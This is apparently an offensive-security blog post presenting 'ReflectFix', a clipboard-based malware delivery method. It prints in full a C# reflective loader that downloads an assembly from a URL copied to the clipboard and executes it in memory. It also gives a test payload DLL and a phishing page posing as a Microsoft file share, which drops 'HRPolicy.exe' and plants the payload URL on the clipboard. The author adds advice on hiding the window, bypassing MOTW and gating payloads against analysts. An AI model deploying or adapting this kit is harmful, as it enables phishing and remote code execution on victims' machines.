ReflectFix
ReflectFix
ClickFix has been the hot topic for over a year now (see all the other ClickFix posts) and recently, FileFix has come out as well (Shout out to mr.d0x!). In the spirit of calling every social engineering malware delivery system a “"-Fix”, let me introduce you to “ReflectFix” - A reflective .Net loader that utilizes social engineering aspects to load a remote DLL via reflection loading. Much like ClickFix or FileFix, ReflectFix uses a social engineering page that copies a url to the victim’s clipboard and downloads a reflection based loader. When executed by the victim, this loader takes the last copied string out of the clipboard and downloads the contents to a byte array which is loaded and executed in memory.
Some caveats to this:
- I made this while I was bored.
- It does nothing to bypass MOTW - You will need to find some way around this (WinRAR).
- I don’t like crafting social engineering campaigns, so the page and delivery are super basic.
- It’s stupid.
This will be a quick post, so I’ll just dump the code here with some notes.
Loader
This loader is relatively simple. It takes the URL, validates it, and passes it to getData
to retrieve the assembly and load it. I’ve left in the debug comments. In a practical deployment you’d want to remove those and ensure that the window is hidden.
Project
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net9.0-windows</TargetFramework>
<UseWindowsForms>true</UseWindowsForms>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Platforms>AnyCPU;x86;x64</Platforms>
</PropertyGroup>
</Project>
Code
using System;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace ReflectFix
{
class Program
{
[STAThread]
static void Main(string[] args)
{
try
{
string clipboardText = Clipboard.GetText();
if (Uri.IsWellFormedUriString(clipboardText, UriKind.Absolute))
{
Console.WriteLine($"[*] Downloading assembly from: {clipboardText}");
getData(clipboardText).GetAwaiter().GetResult(); ;
}
else
{
Console.WriteLine($"[*] Clipboard does not contain a valid URL. From: {clipboardText}");
}
}
catch (Exception ex)
{
Console.WriteLine($"[*] Error: {ex.Message}");
}
}
static async Task getData(string uri)
{
try
{
using (HttpClient client = new HttpClient())
{
Console.WriteLine($"[*] Fetching data from: {uri}");
byte[] asmBytes = await client.GetByteArrayAsync(uri);
Console.WriteLine($"Size of DLL: {asmBytes.Length}");
Console.WriteLine("[*] Loading assembly into memory...");
Assembly asm = Assembly.Load(asmBytes);
MethodInfo entryPoint = asm.EntryPoint;
//if (entryPoint != null)
//{
Console.WriteLine("[*] Invoking entry point...");
//object[] parameters = entryPoint.GetParameters().Length == 0 ? null : new object[] { new string[0] };
Type? programType = asm.GetType("ReflectFix.Program");
MethodInfo? mainMethod = programType.GetMethod("Main", BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
//object[] parameters = entryPoint.GetParameters().Length == 0 ? null : new object[] { new string[0] };
// DLLs do not have an entry point, you must manually invoke it
//entryPoint.Invoke(null,parameters);
mainMethod.Invoke(null, new object[] { new string[] { } });
//}
//else
//{
//Console.WriteLine("[!] No entry point found in assembly.");
//}
}
}
catch (HttpRequestException e)
{
Console.WriteLine($"[!] HTTP error: {e}");
}
catch (Exception ex)
{
Console.WriteLine($"[!] General error: {ex}");
}
}
}
}
Publish Profile
Payload
The payload has been kept simple for ease of testing. All it’s doing is making a request to a controlled server that logs the connection.
Note for the payload: I’ve chosen to compile this as a DLL to make the loading process easier. You can load an EXE, but I ran into some weird issues with my test binary. Again, this example has debug code left in.
Project
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Library</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>
Code
using System;
using System.Net.Http;
namespace ReflectFix
{
class Program
{
static void Main(string[] args)
{
try
{
using (HttpClient client = new HttpClient())
{
client.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
var response = client.GetAsync("https://<domain>/hdrs").GetAwaiter().GetResult();
Console.WriteLine($"[+] Status: {response.StatusCode}");
}
}
catch (HttpRequestException e)
{
Console.WriteLine($"[!] HTTP error: {e}");
}
catch (Exception ex)
{
Console.WriteLine($"[!] General error: {ex}");
}
}
}
}
Publish Profile
HTML
HTML is stolen directly from mr.d0x. I’ve modified it a bit for the scenario, but otherwise, the styling is a direct rip.
I want to point out that I did the least amount of work possible in changing this up. I didn’t even switch the code div to a button. I’m not deploying this anywhere, so it really wasn’t worth the effort.
<!DOCTYPE html>
<head>
<title>bajiri shared a file with you</title>
<!-- thanks to mr.d0x-->
<style>
div#banner {
position: absolute;
top: 0;
left: 0;
background-color: #DDEEEE;
width: 100%;
}
div#banner-content {
width: 800px;
margin: 0 auto;
padding: 10px;
border: 1px solid #000;
}
body {
background-color: #f2f2f2;
font-family: 'Segoe UI', sans-serif;
margin: 0;
padding: 40px 0;
display: flex;
justify-content: center;
align-items: flex-start;
min-height: 100vh;
}
.container {
background-color: #ffffff;
width: 560px;
border-radius: 6px;
box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
border: 1px solid #dcdcdc;
text-align: center;
}
.header {
padding: 40px 30px 10px;
}
.header img {
width: 36px;
margin-bottom: 25px;
}
.header h2 {
font-size: 20px;
color: #2f2f2f;
margin: 0;
}
.timestamp {
font-size: 13px;
color: #7a7a7a;
margin-top: 6px;
}
.instructions {
text-align: left;
padding: 25px 40px 10px;
font-size: 15px;
color: #333333;
line-height: 1.6;
}
.instructions ol {
margin: 0;
padding-left: 20px;
}
.code-block {
background-color: #f1f1f1;
border: 1px solid #ccc;
border-radius: 4px;
padding: 8px 12px;
font-family: Consolas, monospace;
font-size: 14px;
margin-top: 8px;
position: relative;
transition: background-color 0.3s;
cursor: pointer;
user-select: none;
}
.code-block:hover {
background-color: #e6e6e6;
}
.code-block::after {
content: "Copy";
position: absolute;
top: 50%;
right: 12px;
transform: translateY(-50%);
font-size: 12px;
color: #0078d4;
opacity: 0;
transition: opacity 0.2s;
}
.code-block:hover::after {
opacity: 1;
}
.code-block.clicked::after {
content: "Copied";
color: #107c10;
}
#fileExplorer {
background-color: #0078d4;
color: white;
border: none;
padding: 12px 30px;
font-size: 15px;
border-radius: 4px;
margin: 30px 0 40px;
cursor: pointer;
}
#fileExplorer:hover {
background-color: #005ea2;
}
.footer {
font-size: 11.5px;
color: #6b6b6b;
background-color: #f7f7f7;
padding: 12px 24px;
border-top: 1px solid #dcdcdc;
display: flex;
justify-content: space-between;
align-items: center;
}
.footer img {
height: 16px;
}
.footer a {
color: #6b6b6b;
text-decoration: none;
}
.footer a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div id="banner">
<div id="banner-content">
This is obviously fake, and if your robot reports it, you should feel bad.
</div>
</div>
<div class="container">
<div class="header">
<svg fill="#000000" width="50px" height="50px" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg">
<path d="M0 25.472q0 2.368 1.664 4.032t4.032 1.664h18.944q2.336 0 4-1.664t1.664-4.032v-8.192l-3.776 3.168v5.024q0 0.8-0.544 1.344t-1.344 0.576h-18.944q-0.8 0-1.344-0.576t-0.544-1.344v-18.944q0-0.768 0.544-1.344t1.344-0.544h9.472v-3.776h-9.472q-2.368 0-4.032 1.664t-1.664 4v18.944zM5.696 19.808q0 2.752 1.088 5.28 0.512-2.944 2.24-5.344t4.288-3.872 5.632-1.664v5.6l11.36-9.472-11.36-9.472v5.664q-2.688 0-5.152 1.056t-4.224 2.848-2.848 4.224-1.024 5.152zM32 22.080v0 0 0z"></path>
</svg>
<h2>bajiri made "HRPolicy.docx" available to you</h2>
<div class="timestamp">06/20/2025 10:22:45 AM</div>
</div>
<div class="instructions">
<p>To access <strong>HRPolicy.docx</strong>, follow these steps:</p>
<ol>
<li style="margin-bottom: 10px;">
Download the file
<div class="code-block" id="path" onclick="this.classList.add('clicked')">
HRPolicy.docx
</div>
</li>
</ol>
</div>
<input type="file" id="fileInput" style="display: none;">
<!--button class="code-block" id="path" onclick="this.classList.add('clicked')">Download File</button-->
<div class="footer">
<img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft">
</div>
</div>
<script>
const fileInput = document.getElementById('fileInput');
const fileExplorer = document.getElementById('fileExplorer');
const path = document.getElementById('path');
function downloadURI(uri, name) {
var link = document.createElement("a");
link.download = name;
link.href = uri;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
delete link;
}
// Copy the powershell command if they click on the dummy file path
// In case the user tries to be smart and open file explorer manually
path.addEventListener('click', function() {
// URL goes here
downloadURI("<loader>", "HRPolicy.exe");
navigator.clipboard.writeText("<payload url>");
});
// Block any attempted file uploads
fileInput.addEventListener('change', () => {
alert("Please follow the stated instructions.");
fileInput.value = "";
setTimeout(() => fileInput.click(), 500);
});
</script>
</body>
</html>
Some screenshots and things
This is what the HTML roughly looks like. There’s a dumb banner on top of this because my test domains kept getting reported by robots.
Least attractive loader ever. If you deploy this, do something to make this not look sketchy.
Debug prints from the loader. It works!
Look, the it did the thing. The server logged a request from the payload that was loaded.
Improvements
The easiest improvement would of course be, the social engineering aspects. I dno’t care much for social engineering myself, so the binary, the lure, the whole thing really, could use a face lift and a new coat of paint. You’d also be better off deploying this without some form of MOTW bypass.
Another improvement lies on the server side of things. I’ve kept my test domains incredibly simple. You’d likely want to do some kind of validation on the server side, so that they payload can only be retrieved by the loader. Whether this is custom user agents, or some kind of exchange, having a validation system in place helps to obfuscate the payload further. If I can just curl or iwr it for analysis, well, good luck. Especially with these examples being .Net assemblies.
Final Thoughts
I’m all clipboarded out these days. I had originally been on a kick, writing malware that used the clipboard to do weird things, like CopyGhost, or another clipboard -> wsl -> ransomware payload that I never uploaded because CopyGhost was cooler. These days though? I think it’s time to let Clippy retire.